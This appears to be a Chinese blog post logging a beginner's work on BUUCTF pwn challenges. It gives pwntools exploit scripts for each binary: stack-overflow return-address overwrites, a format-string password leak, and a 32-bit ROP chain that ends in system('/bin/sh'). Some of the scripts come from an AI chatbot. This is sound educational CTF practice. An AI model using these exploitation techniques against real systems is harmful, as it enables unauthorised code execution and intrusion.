长城杯半决赛被干傻了,AWDP的PWN题没做,ISW说是2/3是PWN题。力竭了,最佳配置应该是Web+PWN。昨天在Codex指导下复现了ISW1,感觉还蛮有意思。今天兴致使然,配了一下pwntools。那么开始吧。
test_your_nc
这题就是nc连上去cat flag,不过既然是pwn菜鸡,趁还简单,熟悉一下ida pro吧。
定位到main,按tab键反编译成C,如下:
int __fastcall main(int argc, const char **argv, const char **envp){ system("/bin/sh"); return 0;}所以是直接执行了system函数,并且传入了参数”/bin/sh”。
来看汇编:

ida pro还是很方便的,比如command参数,会把具体值写在注释里。rbp指向当前函数栈帧的基址,rsp是栈顶指针。这个我感觉还蛮好理解的。
push rbp ; 把栈帧基址推上栈mov rbp, rsp ; 把当前的rsp赋值给rbp,这样才真正确定了栈帧在内存的位置这一段算是初始化环境,应该每个程序都会有吧。
lea rdi, command ; "/bin/sh"lea是Load Effective Address,加载有效地址。就是把字符串作为参数,放到了rdi寄存器里。linux规定,第一个参数必须在rdi寄存器里(Linux x86-64)。
call _systemem这就是调用了C标准库的system函数,从rdi取出参数。
mov eax, 0eax是用来储存返回值的寄存器,把0存入,对应C源码的return 0;
pop rbpretn弹栈,函数结束了,CPU会去执行rip中的地址。
昨天看了不少入门视频,感觉大体上有些了解了。具体细节目前还一无所知,什么大段序小段序,以及栈的具体结构、组成,都还不清楚。我给自己定了一周的学习目标,希望在2026/03/26~2026/04/04的学习后,能够独立完成基础题目。
rip
rip是指令指针,存放着CPU要去执行的内存地址。如果能通过某些方式(比如栈溢出,这个感觉门槛会稍低一些)控制了rip,就能完全劫持CPU的执行流程,任意执行shellcode。
直接来看反编译吧,和长城杯那道很像。
int __fastcall main(int argc, const char **argv, const char **envp){ char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input"); gets(s, argv); puts(s); puts("ok,bye!!!"); return 0;}都说危险的gets,那么危险就在于不检查长度,可以做到可控栈溢出。计算栈溢出的长度很重要。
看到这个char s[15]; // [rsp+1h] [rbp-Fh] BYREF,得知char s[15]位于[rbp-0xF],也就是从长度为15字节,而rbp本身占8字节,同时返回地址就在rbp上方。
x86/64上,栈是向下增长的,结构大概是:
返回地址RBP (8字节)s[15] (rbp-0x1)s[14] (rbp-0x2)...s[1] (rbp-0xE)s[0] (rbp-0xF)所以想要修改返回地址,需要先填充15+8字节,也就是23字节,然后跟上需要跳转到的地址(p64,64位小端序)。题目里给了一个fun函数:
int fun(){ return system("/bin/sh");}只要把返回地址写入这个函数的地址就可以了。ida pro可以很方便的找到他的起点// starts at 401186。这样一来就很清楚了,开始写这个简单的exp吧。
from pwn import *
io = process('./pwn1')#io = remote('node5.buuoj.cn', 29248)
payload = b'A' * 23 + p64(0x401186)io.sendline(payload)io.interactive()
这里不做过多解析,我相信几天后的自己也还是能看懂的。本地通了,结果远程不通?
(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/rip$ python exp.py[+] Opening connection to node5.buuoj.cn on port 29248: Done[*] Switching to interactive modetimeout: the monitored command dumped core[*] Got EOF while reading in interactiveGemini说,这是64 位系统的栈对齐(Stack Alignment)限制。看不懂思密达。
1. 为什么会报错?在 64 位 Linux 环境下(尤其是远程服务器常用的 Ubuntu 18.04 及以上版本),当程序调用 system 函数时,栈顶地址(RSP)必须是 16 字节对齐的(即地址的最后一位十六进制数必须是 0)。
如果你跳转到 fun 函数时,栈帧恰好没对齐,system 内部的一条指令 movaps 就会触发段错误(Segmentation Fault),导致远程连接直接关闭(EOF)。
2. 解决方法:多加一个 ret我们需要在 Payload 中增加一个 ret 指令的地址。这相当于在跳转到 fun 之前先执行一个空操作,但这个操作会把栈指针平移 8 字节,从而实现 16 字节对齐。
步骤如下:- 在 IDA 里的 fun 函数代码附近找一个 ret 指令的地址(或者用 ROPgadget 找)。- 把这个地址插在偏移量和 fun 地址之间。他给我的exp如下:
from pwn import *
# 建立连接io = remote('node5.buuoj.cn', 29248)
# 找一个 ret 指令的地址用于对齐栈# 你可以尝试在 IDA 搜索 'ret',或者直接找 fun 函数结尾的地址ret_addr = 0x401185 # 这里我换成了main函数的retn的地址fun_addr = 0x401186
# 构造新的 Payload# 偏移 23 字节 + ret 地址 (对齐用) + 目标函数地址payload = b'A' * 23 + p64(ret_addr) + p64(fun_addr)
io.sendline(payload)io.interactive()确实通了。诶,我好像有一点懂了,这个ret就和nop指令类似。ret指令会把栈顶弹出,写入rip,rsp+=8,这时候rsp就指向fun的地址了。
warmup_csaw_2016
int sub_40060D(){ return system("cat flag.txt");}
int __fastcall main(int a1, char **a2, char **a3){ char s[64]; // [rsp+0h] [rbp-80h] BYREF _BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAu); write(1, "WOW:", 4u); sprintf(s, "%p\n", sub_40060D); write(1, s, 9u); write(1, ">", 1u); return gets(v5);}计算一下offsets:
返回地址RBP 8字节v5[64] 64字节s[64] 64字节64+8=72
from pwn import *
io = process('./warmup_csaw_2016')# io = remote('node5.buuoj.cn', 25922)
io.sendline(b'A' * 72 + p64(0x40060d))ok,渐入佳境😂

ciscn_2019_n_1
猜数游戏,示例输入输出:
Let's guess the number.56Its value should be 11.28125不过输入什么都没用。源码不会骗人,来看ida pro怎么说。
int func(){ _BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else return puts("Its value should be 11.28125");}
int __fastcall main(int argc, const char **argv, const char **envp){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); func(); return 0;}所以需要再gets(v1)的时候,溢出到v2的部分,把他的值改成11.28125。
还是画一下栈结构:
返回地址RBP 8字节v2 4字节(p32)v1[44] 44字节那么payload='A'*44 + v2,但是我不知道float在内存中是什么样子的。查到有个IEEE 754标准

Gemini给了我一段脚本来转换float在内存中的hex,暂时不打算深入研究。
import struct# pack('f', ...) 将浮点数转为字节流,'<I' 将其视为小端序整数读取hex_val = hex(struct.unpack('<I', struct.pack('<f', 11.28125))[0])print(hex_val) # 结果是 0x41348000完整exp如下,从栈溢出入门感觉还是难度适中的。
from pwn import *
# io = process('./ciscn_2019_n_1')io = remote('node5.buuoj.cn', 25384)
payload = b'A' * 44 + p32(0x41348000)
io.sendline(payload)pwn1_sctf_2016
坏了我本地跑不起来,居然是i386,得装multi-arch的lib了。
(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/pwn1_sctf_2016$ ./pwn1_sctf_2016[qemu-i386]: Could not open '/lib/ld-linux.so.2': No such file or directory安装i386支持:
sudo dpkg --add-architecture i386sudo apt updatesudo apt install libc6:i386 libncurses6:i386 libstdc++6:i386ok,继续做题。
int get_flag(){ return system("cat flag.txt");}
int vuln(){ const char *v0; // eax char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF _BYTE v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF _BYTE v4[7]; // [esp+40h] [ebp-18h] BYREF char v5; // [esp+47h] [ebp-11h] BYREF _BYTE v6[7]; // [esp+48h] [ebp-10h] BYREF _BYTE v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: "); fgets(s, 32, _TMC_END__); std::string::operator=(&input, s); std::allocator<char>::allocator(&v5); std::string::string(v4, "you", &v5); std::allocator<char>::allocator(v7); std::string::string(v6, "I", v7); replace((std::string *)v3); std::string::operator=(&input, v3, v6, v4); std::string::~string(v3); std::string::~string(v6); std::allocator<char>::~allocator(v7); std::string::~string(v4); std::allocator<char>::~allocator(&v5); v0 = (const char *)std::string::c_str((std::string *)&input); strcpy(s, v0); return printf("So, %s\n", s);}
int __cdecl main(int argc, const char **argv, const char **envp){ vuln(); return 0;}居然是C++吗。粗略看下来,程序会把I替换为you,也就说输入20个I,就会变成20个you(60字节)。测试下来也确实如此,触发了Segmentation fault

好大一坨,好恶心。不过应该可以选择性忽略那些allocator。get_flag()的地址是0x8048F0D,strcpy(s, v0);会溢出,通过s溢出,把vuln的返回地址改成它应该就可以了。
const char *v0; // eax char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF _BYTE v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF _BYTE v4[7]; // [esp+40h] [ebp-18h] BYREF char v5; // [esp+47h] [ebp-11h] BYREF _BYTE v6[7]; // [esp+48h] [ebp-10h] BYREF _BYTE v7[5]; // [esp+4Fh] [ebp-9h] BYREF还是分析栈结构,(希望是)万变不离其宗。
返回地址 ebp+4EBP 4字节(i386)(Padding) 4字节 **这里想了很久,后面细说**v7[5] 5字节v6[7] 7字节v5 1字节v4[7] 7字节v3[4] 4字节s[32] 32字节所以s到返回地址之间需要填充32+4+7+1+7+5+4=60字节。但是fgets(s, 32, _TMC_END__);是有长度限制的,算上NUL也只有32字节。这里需要用replace来使’I’膨胀为’you’。
构造payload:
target_addr = 0x8048F0Dpayload = b'I' * 20 + p32(target_addr)不过这个payload还是Segmentation fault了。真没招了,哪看都不对劲,这个char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF为什么是[ebp-3Ch]啊?3Ch=60,算上ebp本身的4字节,那应该是64了。原来又是为了栈对齐。那么这样列出来栈的结构到底有没有用呢,我不知道了,也就是说直接看ida pro给的offset就可以了是吧。
补上padding的4字节:
target_addr = 0x8048F0Dpayload = b'I' * 20 + b'AAAA' + p32(target_addr)通了,睡觉。
jarvisoj_level0
int callsystem(){ return system("/bin/sh");}
ssize_t vulnerable_function(){ _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200u);}
int __fastcall main(int argc, const char **argv, const char **envp){ write(1, "Hello, World\n", 0xDu); return vulnerable_function(1);}从buf的read时溢出到callsystem,buf长128字节,rbp是8字节,所以:
from pwn import *
io = process('./level0')payload = b'A' * (128 + 8) + p64(0x400596)io.sendline(payload)io.interactive()[第五空间2019 决赛]PWN5
int __cdecl main(int a1){ time_t v1; // eax int result; // eax int fd; // [esp+0h] [ebp-84h] char nptr[16]; // [esp+4h] [ebp-80h] BYREF char buf[100]; // [esp+14h] [ebp-70h] BYREF unsigned int v6; // [esp+78h] [ebp-Ch] int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); // 这里有限制长度 printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result;}密码是从/dev/urandom取的,那么就需要read buf的时候溢出到dword_804C044,把它改成已知值。去菜鸟教程查了一下atoi函数:
C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。
不过read(0, buf, 0x63u);限制了长度,buf有100字节呢。额啊不会做了。Gemini跟我说,当printf(buf);时,输入的%p、%x、 %n,都会被printf当成指令来执行。所以并不是栈溢出去覆盖dword_804C044,而是直接读取dword_804C044的4个字节。
$ ./pwnyour name:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%pHello,AAAA-0x40800028-0x63-(nil)-0x40800084-0x3-0x80482ac-0x40800084-0x40835b8c-0x1-0x41414141-0x2d70252d-0x252d7025O�@your passwd:可以看到,第10个%p打印了0x41414141,也就是AAAA。说明第10个变量刚好就是buf本身。结合exp来看吧
from pwn import *io = process('./pwn')target_addr = 0x0804C044payload = p32(target_addr) + b"####%10$s"io.sendline(payload)
io.recvuntil(b"####")raw_data = io.recv(4)password = u32(raw_data)
io.sendlineafter(b"your passwd:", str(password).encode())io.interactive()dword_804C044是全局变量,名字后面的hex就是他的地址。这一部分我理解起来还是有些困难的。printf是线性处理buf的,从buf的第一个字节开始处理。首先读取到0x0804C044这个地址,因为没有%,就会当成普通文本打印。接着遇到了b"####%10$s",先打印####,遇到%特殊指令。%10$s就是指去读取第10个参数,并且把地址解引用打印出来。而第10个参数刚好就是buf本身数据区域,而开头刚好是指向dword_804C044的地址,于是就去读取0x0804C044存储的值,也就是随机的密码,把它打印出来。为什么会有第几个参数这样的说法呢?因为只传给printf了buf参数啊,正常来说比如printf("%s", str);,后面就跟上了参数,这里没有,就会去栈上读了。
所以payload = p32(target_addr) + b'%p-%p-%p-%p-%p-%p-%p-%p-%p#%s'也是可以的(注意本身不要溢出)
另外需要注意,urandom生成的随机数可能会有/x00,这就直接截断了,不过毕竟是小概率事件(但我遇到了,如图),多试几次就行。
jarvisoj_level2
ssize_t vulnerable_function(){ _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:"); return read(0, buf, 0x100u);}
int __cdecl main(int argc, const char **argv, const char **envp){ vulnerable_function(); system("echo 'Hello World!'"); return 0;}checksec看一下NX:
(ctf) ➜ jarvisoj_level2 checksec level2[*] '/Users/chao/ctf/BUUCTF/PWN/jarvisoj_level2/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: NoNX开了,那就没法栈溢出塞shellcode。所以需要复用main的system函数。在32位(x86)环境下,函数调用是通过栈来传递参数的。画一下vuln函数的栈结构:
返回地址 p32EBP 4字节buf[136] 136字节offset是140。然后我就不会了,大致思路是找个地方写入/bin/sh,然后让system函数读取它。
(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/jarvisoj_level2$ readelf -S ./level2 | grep .bss [25] .bss NOBITS 0804a02c 00102c 000004 00 WA 0 0 1
(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/jarvisoj_level2$ ROPgadget --binary ./level2 | grep "pop"0x080482f0 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret0x080484aa : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret0x08048515 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x080482f2 : add esp, 8 ; pop ebx ; ret0x08048514 : jecxz 0x8048499 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret0x08048513 : jne 0x80484f8 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x080482f3 : les ecx, ptr [eax] ; pop ebx ; ret0x08048516 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret0x08048517 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret0x0804851b : pop ebp ; ret0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x080482f5 : pop ebx ; ret0x0804851a : pop edi ; pop ebp ; ret0x08048519 : pop esi ; pop edi ; pop ebp ; ret0x080484b0 : popal ; cld ; ret0x0804852f : rcr dword ptr [edx], cl ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret下面是Gemini给的exp,ai确实太厉害了:
from pwn import *
# 设置环境context(os='linux', arch='i386', log_level='debug')
# 1. 加载二进制文件p = process('./level2')elf = ELF('./level2')
# 2. 准备地址read_plt = elf.plt['read']system_plt = elf.plt['system']bss_addr = 0x0804a02c # 你搜到的 .bss 地址pop3ret = 0x08048519 # 你找出的 pop esi; pop edi; pop ebp; ret
offset = 140
# 3. 构造 Payload# --- 第一阶段:把 "/bin/sh" 写进 bss ---payload = b'A' * offsetpayload += p32(read_plt)payload += p32(pop3ret) # read 执行完跳转到这里清理参数payload += p32(0) # fd: stdinpayload += p32(bss_addr) # buf: 写入到 bsspayload += p32(8) # size: 8 字节
# --- 第二阶段:调用 system ---payload += p32(system_plt)payload += p32(0xdeadbeef) # system 的返回地址(不重要)payload += p32(bss_addr) # system 的参数:刚才写入的 "/bin/sh"
# 4. 发送 Payloadp.sendlineafter(b"Input:", payload)
# 5. 发送要写入 .bss 的字符串# 注意:这一步是发给程序里的 read 函数的p.send(b"/bin/sh\x00")
# 6. 拿到 Shellp.interactive()我现在要把这段exp搞清楚。卧槽这就是rip rop吗,爱了爱了。
payload = b'A' * 140 + p32(read_plt) + p32(pop3ret) + p32(0) + p32(bss) + p32(8)前面有提过,X86的参数必须在栈上,一个干净的栈应该是这样的:
- 返回地址- 参数1- 参数2- 参数3...plt和got不做展开,搜一下就了解了,动态链接相关。这一段payload后,vuln函数的栈会变成:
| 栈上的位置 | 内容 | 角色 |
|---|---|---|
| ESP (栈顶) | read_plt | CPU 正在这里执行 |
| ESP + 4 | pop3ret | 返回地址(read 执行完后跳这里) |
| ESP + 8 | 0 | 参数 1 (fd) |
| ESP + 12 | bss_addr | 参数 2 (buf) |
| ESP + 16 | 8 | 参数 3 (size) |
也就是当read执行完后,会进行pop3ret,把栈上的参数都弹掉,然后retn。而retn等价于pop eip,也就是从esp取出指令存入eip,然后esp向后移动4字节。那么继续向后接上system函数地址及参数。
payload += p32(system_plt)payload += p32(0xdeadbeef) # system 的返回地址(不重要)payload += p32(bss_addr) # system 的参数:刚才写入的 "/bin/sh"
这个Debug模式好帅啊,符合我对pwn的固有印象
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









